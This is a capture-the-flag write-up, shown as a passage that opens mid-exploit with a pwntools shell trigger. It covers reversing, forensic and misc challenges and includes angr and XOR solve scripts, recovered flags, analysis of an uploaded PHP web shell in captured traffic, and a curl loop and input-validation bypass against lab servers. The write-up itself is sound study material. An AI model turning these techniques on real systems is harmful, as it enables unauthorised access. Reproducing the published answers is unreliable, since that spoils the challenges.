# r.sendline(b'sh') # Trigger a shell
r.interactive()


control_room_shell

Rev

Shattered tablet

main func:

shattered_tablet

this challenge suppose to solve with angr but it did it manually using ChatGPT :p(as i didn’t know how to with angr) finding all variable’s value through this giant if condition is tremendious so i asked to CGPT to extract all these variable in descending order and create a list of their respective value and here is
result :

  • local_48: [‘H’, ‘T’, ‘B’, ‘{‘, ‘b’, ‘r’, ‘0’, ‘k’]
  • local_40: [‘3’, ‘n’, ‘_’, ‘4’, ‘p’, ‘4’, ‘r’, ‘t’]
  • local_38: [‘,’, ‘n’, ‘3’, ‘v’, ‘e’, ‘r’, ‘_’, ‘t’]
  • local_30: [‘0’, ‘‘, ‘b’, ‘3’, ‘‘, ‘r’, ‘3’, ‘p’]
  • local_28: [‘4’, ‘1’, ‘r’, ‘3’, ‘d’, ‘}’]

concatinating values in descending order of each variable and contatinating them create flag

HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}

Edit: later i learned basic of angr and symbolic execution and came across solution that could be solved using angr python module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import angr
import sys

def main(argv):

path_to_binary = argv[1] # :string
project = angr.Project(path_to_binary)

initial_state = project.factory.entry_state(
add_options = { angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS}
)

simulation = project.factory.simgr(initial_state)

print_good_address = 0x401359 # target address
simulation.explore(find=print_good_address)

if simulation.found:

solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()).decode())
else:
raise Exception('Could not find the solution')

if __name__ == '__main__':
main(sys.argv)

Needle in a Haystack

like name like challenge - flag in a file, running strings command on file

haystack

Hunting License

running the binary

hunting_lic1

asking for the first password that says not even hidden lets check it using strigns command

hunting_lic2

we got first pass feeding this as first password

hunting_lic3.png

now for second password, entering some promising string while strings command didn’t work

examining the exam function inside the main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void exam(void)

{
int iVar1;
undefined8 local_38;
undefined8 local_30;
undefined local_28;
undefined8 local_1c;
undefined4 local_14;
char *local_10;

local_10 = (char *)readline(
"Okay, first, a warmup - what\'s the first password? This one\'s not even hidden: "
);
iVar1 = strcmp(local_10,"PasswordNumeroUno");
if (iVar1 != 0) {
puts("Not even close!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(local_10);
local_1c = 0;
local_14 = 0;
reverse(&local_1c,t,0xb);
local_10 = (char *)readline("Getting harder - what\'s the second password? ");
iVar1 = strcmp(local_10,(char *)&local_1c);
if (iVar1 != 0) {
puts("You\'ve got it all backwards...");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(local_10);
local_38 = 0;
local_30 = 0;
local_28 = 0;
xor(&local_38,t2,0x11,0x13);
local_10 = (char *)readline("Your final test - give me the third, and most protected, password: ")
;
iVar1 = strcmp(local_10,(char *)&local_38);
if (iVar1 != 0) {
puts("Failed at the final hurdle!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(local_10);
return;
}

so basically we are asked for three password first is already visible to us and have also got from strings command.

and in case of second password check first reverse function is called and then result/return value i.e local_1c of that function is being compared to user input i.e. local_10

reverse func:

1
2
3
4
5
6
7
8
9
void reverse(long res,long unknown_value,ulong length)

{
int i;
for (i = 0; (ulong)(long)i < length; i = i + 1) {
*(undefined *)(res + i) = *(undefined *)(unknown_value + (length - (long)i) + -1);
}
return;
}

unkown_value being revere and stored to res variable, inspecting in radare graph view

hunting_lic4

we can see the unkown_value i.e. ‘0wTdr0wss4P’.

its time for xor function ,where again local_10 var’s value is being compared to local_38

xor function :

1
2
3
4
5
6
7
8
9
10
void xor(long param_1,long param_2,ulong param_3,byte param_4)

{
int local_c;

for (local_c = 0; (ulong)(long)local_c < param_3; local_c = local_c + 1) {
*(byte *)(param_1 + local_c) = *(byte *)(param_2 + local_c) ^ param_4;
}
return;
}

we need to have param_2 value in order to know the third password as param_4 is being xored to this value and then return back to compare with user input

hunting_lic5

as you can see above radare graph view this value ‘G{zawR}wUz}r\x7f222\x13’ is param_2

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
param_1 = ''
param_2 = 'G{zawR}wUz}r\x7f222\x13'#'G{zawR}wUz}r'
param_3 = 0x11
param_4 = 0x13
rev_me = '0wTdr0wss4P'

def xor(param_1, param_2, param_3, param_4):
result = ''
for i in range(param_3):
if i < len(param_2):
result += chr(ord(param_2[i]) ^ param_4)
else:
result += '\x00'
return result

result = xor(param_1, param_2, param_3, param_4)
print("\nPassword2 : ",rev_me[::-1])
print("Password3 : ",result)

She Shells C Shells

func_flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

undefined8 func_flag(void)

{
undefined8 uVar1;
undefined8 user_input;

int local_14;
uint j;
uint i;

printf("Password: ");
user_input = 0;

fgets((char *)&user_input,0x100,stdin);
for (i = 0; i < 0x4d; i = i + 1) {
*(byte *)((long)&user_input + (long)(int)i) =
*(byte *)((long)&user_input + (long)(int)i) ^ m1[(int)i];
}
local_14 = memcmp(&user_input,t,0x4d);
if (local_14 == 0) {
for (j = 0; j < 0x4d; j = j + 1) {
*(byte *)((long)&user_input + (long)(int)j) =
*(byte *)((long)&user_input + (long)(int)j) ^ m2[(int)j];
}
printf("Flag: %s\n",&user_input);
uVar1 = 0;
}
else {
uVar1 = 0xffffffff;
}
return uVar1;
}

memcmp function before second for loop(ignore first) variable “t” being compared to value stored in user_input memory location if so then it being xored with vairable “m2” that makes our flag.

so we need “t” and “m2” to get the flag, through static analysis we can see the value of both var

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

t = b'\x2c\x4a\xb7\x99\xa3\xe5\x70\x78\x93\x6e\x97\xd9\x47\x6d\x38\xbd\xff\xbb\x85\x99\x6f\xe1\x4a\xab\x74\xc3\x7b\xa8\xb2\x9f\xd7\xec\xeb\xcd\x63\xb2\x39\x23\xe1\x84\x92\x96\x09\xc6\x99\xf2\x58\xfa\xcb\x6f\x6f\x5e\x1f\xbe\x2b\x13\x8e\xa5\xa9\x99\x93\xab\x8f\x70\x1c\xc0\xc4\x3e\xa6\xfe\x93\x35\x90\xc3\xc9\x10\xe9'

m2 = b'\x64\x1e\xf5\xe2\xc0\x97\x44\x1b\xf8\x5f\xf9\xbe\x18\x5d\x48\x8e\x91\xe4\xf6\xf1\x5c\x8d\x26\x9e\x2b\xa1\x02\xf7\xc6\xf7\xe4\xb3\x98\xfe\x57\xed\x4a\x4b\xd1\xf6\xa1\xeb\x09\xc6\x99\xf2\x58\xfa\xcb\x6f\x6f\x5e\x1f\xbe\x2b\x13\x8e\xa5\xa9\x99\x93\xab\x8f\x70\x1c\xc0\xc4\x3e\xa6\xfe\x93\x35\x90\xc3\xc9\x10\xe9'

flag = ""

for i in range(77):
if i < len(t) and i < len(m2):
flag += chr(t[i]^m2[i])

flag = re.search(r'HTB{.*}', flag).group(0)
print(flag)

Cave System

after some hands on angr module and solving Shattered tablet challenge i got some guts and tried to solve this one too

main funciton
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
undefined8 main(void)

{
int iVar1;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;

local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
printf("What route will you take out of the cave? ");
fgets((char *)&local_88,0x80,stdin);
iVar1 = memcmp(&local_88,&DAT_00402033,4);
if (((((((iVar1 == 0) && ((byte)(local_78._5_1_ * (char)local_58) == '\x14')) &&
((byte)((byte)local_68 - local_68._4_1_) == -6)) &&
(((((((byte)(local_68._5_1_ - local_70._2_1_) == -0x2a &&
((byte)((byte)local_78 - (char)local_58) == '\b')) &&
(((char)(local_58._7_1_ - (char)local_80) == -0x2b &&
(((byte)(local_70._2_1_ * local_88._7_1_) == -0x13 &&
((char)(local_88._4_1_ * (char)local_70) == -0x38)))))) &&
((local_68._2_1_ ^ local_70._4_1_) == 0x55)) &&
(((((byte)(local_70._6_1_ - local_58._7_1_) == '4' &&
((byte)(local_50._3_1_ + local_58._2_1_) == -0x71)) &&
((byte)(local_60._4_1_ + local_70._3_1_) == -0x2a)) &&
(((local_78._1_1_ ^ local_80._6_1_) == 0x31 &&
((byte)((byte)local_50 * local_78._4_1_) == -0x54)))))) &&
(((((byte)(local_50._2_1_ - local_70._2_1_) == -0x3e &&
(((local_70._2_1_ ^ local_88._6_1_) == 0x2f &&
((local_80._6_1_ ^ local_68._7_1_) == 0x5a)))) &&
((local_60._4_1_ ^ local_68._7_1_) == 0x40)) &&
((((((byte)local_60 == local_70._2_1_ &&
((byte)(local_78._7_1_ + local_58._1_1_) == -0x68)) &&
((byte)(local_78._7_1_ * local_50._3_1_) == 'h')) &&
(((byte)(local_88._1_1_ - local_70._4_1_) == -0x25 &&
((byte)((char)local_70 - local_70._5_1_) == -0x2e)))) &&
(((char)(local_68._6_1_ - (char)local_70) == '.' &&
((((byte)local_68 ^ local_78._6_1_) == 0x1a &&
((byte)(local_60._4_1_ * local_88._4_1_) == -0x60)))))))))))) &&
((((((byte)(local_68._6_1_ * local_70._3_1_) == '^' &&
((((byte)(local_80._7_1_ - (byte)local_60) == -0x38 &&
((local_58._1_1_ ^ local_58._5_1_) == 0x56)) &&
((local_70._2_1_ ^ local_60._5_1_) == 0x2b)))) &&
((((((local_58._6_1_ ^ local_80._1_1_) == 0x19 &&
((byte)(local_70._4_1_ - local_60._7_1_) == '\x1a')) &&
(((byte)(local_58._2_1_ + local_78._3_1_) == -0x5f &&
(((byte)(local_68._5_1_ + local_50._1_1_) == 'V' &&
((local_70._5_1_ ^ local_78._2_1_) == 0x38)))))) &&
((local_60._4_1_ ^ local_50._4_1_) == 9)) &&
((((((char)(local_80._7_1_ * local_68._6_1_) == 'y' &&
((local_68._5_1_ ^ local_70._6_1_) == 0x5d)) &&
((byte)(local_88._2_1_ * (byte)local_68) == '\\')) &&
(((byte)(local_80._2_1_ * local_78._2_1_) == '9' && (local_70._5_1_ == local_78._5_1_))
)) && (((byte)(local_68._3_1_ * local_78._5_1_) == '/' &&
(((byte)((char)local_80 * local_68._5_1_) == -0x55 &&
((byte)(local_68._7_1_ + local_70._2_1_) == -0x6d)))))))))) &&
(((((((local_70._2_1_ ^ local_68._2_1_) == 0x73 &&
((((local_78._4_1_ ^ local_70._7_1_) == 0x40 &&
((byte)(local_70._1_1_ + (byte)local_78) == -0x57)) &&
((local_68._7_1_ ^ local_50._3_1_) == 0x15)))) &&
((((byte)((byte)local_88 + local_50._3_1_) == 'i' &&
((byte)(local_68._2_1_ + local_60._6_1_) == -0x5b)) &&
(((local_70._6_1_ ^ local_58._4_1_) == 0x37 &&
(((byte)((byte)local_88 * local_70._4_1_) == '\b' &&
((byte)(local_68._2_1_ - (byte)local_50) == -0x3b)))))))) &&
((byte)(local_78._2_1_ + local_50._4_1_) == -0x1c)) &&
(((((local_68._3_1_ ^ (byte)local_60) == 0x6e &&
((byte)((byte)local_50 * (byte)local_78) == -0x54)) &&
((byte)(local_58._6_1_ - local_60._7_1_) == '\r')) &&
((((byte)(local_70._6_1_ + local_58._7_1_) == -100 &&
((byte)(local_88._6_1_ + local_68._1_1_) == -0x2c)) &&
(((byte)(local_88._7_1_ * local_70._5_1_) == -0x13 &&
((((byte)local_50 ^ local_70._5_1_) == 0x38 &&
((byte)(local_88._1_1_ * local_68._5_1_) == 'd')))))))))) &&
((((byte)local_50 ^ local_50._2_1_) == 0x46 &&
(((((((char)(local_88._2_1_ * local_78._3_1_) == '&' &&
((local_70._2_1_ ^ local_78._6_1_) == 0x2b)) &&
((byte)(local_88._1_1_ + local_88._7_1_) == -0x79)) &&
(((local_70._3_1_ ^ (byte)local_88) == 0x2a &&
((byte)(local_78._5_1_ - local_88._1_1_) == '\v')))) &&
((byte)(local_70._3_1_ + local_58._6_1_) == -0x32)) &&
(((local_78._1_1_ ^ local_80._5_1_) == 0x3b &&
((byte)(local_78._3_1_ - local_50._2_1_) == '\x12')))))))))) &&
((((local_78._1_1_ == local_80._2_1_ &&
((((byte)(local_80._6_1_ - local_50._2_1_) == 'M' &&
((byte)(local_60._2_1_ * local_58._4_1_) == 'N')) && (local_58._2_1_ == (byte)local_68)
))) && (((local_60._7_1_ ^ local_58._3_1_) == 0x38 &&
((char)(local_68._6_1_ + local_70._1_1_) == -0x6c)))) &&
((byte)(local_60._1_1_ + local_58._4_1_) == -0x31)))))) &&
((((local_60._4_1_ == local_78._4_1_ && ((char)(local_80._4_1_ + local_70._1_1_) == 'f')) &&
(((byte)(local_50._4_1_ + local_68._4_1_) == -0xf &&
((((byte)(local_60._1_1_ - local_78._5_1_) == '\x11' &&
((byte)(local_68._4_1_ - local_58._1_1_) == 'D')) &&
((byte)(local_80._1_1_ - local_68._3_1_) == 'D')))))) &&
((((local_58._5_1_ ^ local_58._3_1_) == 1 && ((local_68._2_1_ ^ local_50._1_1_) == 0xd)) &&
((((byte)(local_80._3_1_ - local_70._4_1_) == -0x15 &&
(((((char)(local_78._7_1_ + (char)local_70) == -0x67 &&
((byte)((char)local_70 + local_80._5_1_) == -0x6b)) &&
(((byte)(local_80._4_1_ - (byte)local_88) == -0x17 &&
(((((byte)(local_68._2_1_ + local_70._7_1_) == '`' &&
((byte)(local_88._5_1_ + local_58._5_1_) == -0x6a)) &&
((byte)(local_58._1_1_ * local_60._2_1_) == '`')) &&
(((byte)((char)local_58 * local_78._5_1_) == '\x14' &&
((byte)(local_70._3_1_ - local_58._4_1_) == '\x03')))))))) &&
((byte)(local_50._1_1_ + local_78._4_1_) == -0x6b)))) &&
((((byte)(local_80._2_1_ * local_58._5_1_) == -0x26 &&
((byte)(local_88._1_1_ + local_60._1_1_) == -0x3c)) &&
(((byte)(local_60._7_1_ - local_88._1_1_) == '\v' &&
(((local_60._3_1_ == local_78._3_1_ && ((byte)(local_68._7_1_ + local_60._7_1_) == -0x6d)
) && ((byte)(local_80._4_1_ * local_50._2_1_) == 'Q')))))))))))))) &&
(((((byte)((char)local_80 * local_70._2_1_) == 'A' &&
((byte)(local_60._6_1_ - local_70._7_1_) == 'E')) &&
((byte)(local_88._7_1_ + local_68._5_1_) == 'h')) &&
(((((char)(local_68._4_1_ + local_88._4_1_) == -0x44 &&
((byte)(local_70._7_1_ + (byte)local_68) == -0x5e)) &&
(((char)(local_70._1_1_ + local_88._5_1_) == 'e' &&
((((byte)(local_60._3_1_ * local_70._5_1_) == -0x13 &&
((local_80._5_1_ ^ local_60._5_1_) == 0x10)) &&
((char)((char)local_58 - local_80._4_1_) == ';')))))) &&
(((((char)(local_78._7_1_ - (char)local_80) == '\t' &&
((local_88._7_1_ ^ local_60._2_1_) == 0x41)) &&
((char)(local_88._5_1_ - local_60._3_1_) == -3)) &&
(((((local_50._4_1_ ^ local_78._2_1_) == 0x1a && ((local_88._1_1_ ^ local_88._3_1_) == 0x2f)
) && (((byte)(local_78._1_1_ - local_68._7_1_) == '+' &&
(((((byte)((char)local_80 + local_78._4_1_) == -0x2d &&
((byte)(local_80._3_1_ * local_58._5_1_) == -0x28)) &&
((byte)(local_70._3_1_ + local_88._6_1_) == -0x2e)) &&
(((byte)(local_88._5_1_ + local_88._3_1_) == -0x55 &&
((byte)(local_68._3_1_ - local_60._7_1_) == -0x2e)))))))) &&
(((byte)local_78 ^ local_68._1_1_) == 0x10)))))))))) {
puts("Freedom at last!");
}
else {
puts("Lost in the darkness, you\'ll wander for eternity...");
}
return 0;
}

🙄 looks intimidating right? while competition i tried to to get the flag manually 😛, yeah it was silly
However, script that i used for solving the Shattered tablet worked for this challenge as well just change the target address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import angr
import sys

def main(argv):

path_to_binary = argv[1] # :string
project = angr.Project(path_to_binary)

initial_state = project.factory.entry_state(
add_options = { angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS}
)

simulation = project.factory.simgr(initial_state)

print_good_address = 0x401aba # target address
simulation.explore(find=print_good_address)

if simulation.found:

solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()).decode())
else:
raise Exception('Could not find the solution')

if __name__ == '__main__':
main(sys.argv)

Forensic

Plaintext Tleasure

Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.

filtering the traffic to http and following through TCP stream at stream 4 we found FLAG

plaintext_t

Alien Cradle

given powershell file that contain flag itself

alien_cradle

Extraterrestrial Persistence

given shell script that writting some base64 strings to somewhere in system that contain flag as Description

extraterrestrial_persistence

Rotten

The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.

By reading Description it seems like we have to look for the shell that has uploaded as webserver has been compromised

as previous pcap challenge i started inspecting through tcp stream but nothing usefull after checking for a while, as shell upploaded on webserver it must be likely php file and we can export all file being transfered via Export Objects.

so started searching for any promising file name as there was lots of file it took time and finally i came across “map-update.php” file it has several file with same name but the size with 7,178 bytes was interesting.

it seems obfuscated, However after deobfuscate it didn’t change going through the code i looks like this gibberish value are being cocatinated one after another and finally printed

rotten_1

running php file

rotten_2

it found dificulty with eval() function so i changed it to echo as its used for printing the content
and after running the file it indeed worked and got flag in file.

rotten_3

Misc

Persistence

The aim of this task was to create a program that can automatically send a large number of requests (around one thousand) to an endpoint called /flag. Eventually, the endpoint will respond with the correct flag. The following script can be utilized for this purpose.

1
2
3
4
5
6
#!/bin/bash

for ((i=0;i<1200;i++))
do
curl -s -X GET http://142.93.35.133:32034/flag
done

Janken

this challenge has Rock-Paper-Scissor game on server and we have to win the game for 100(around i don’t remeber ) times in streak, However program had bug we made able to bypass the input validation by entering all word at once.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

from pwn import *
import os

p = remote('64.227.41.83',30145)
p.sendline("1")
info("Wait till you get the flag :) ")
for i in range(100):
step = 100-i
print("{} step closer to your flag".format(step))
#recieve input interface
p.recv()
#time.sleep(1)
p.sendline("rockpaperscissors")

p.recvuntil('prize: ')
flag = p.recv()
os.system("clear")
success("\n\n\tflag : {}".format(flag))
#p.interactive()

janken_misc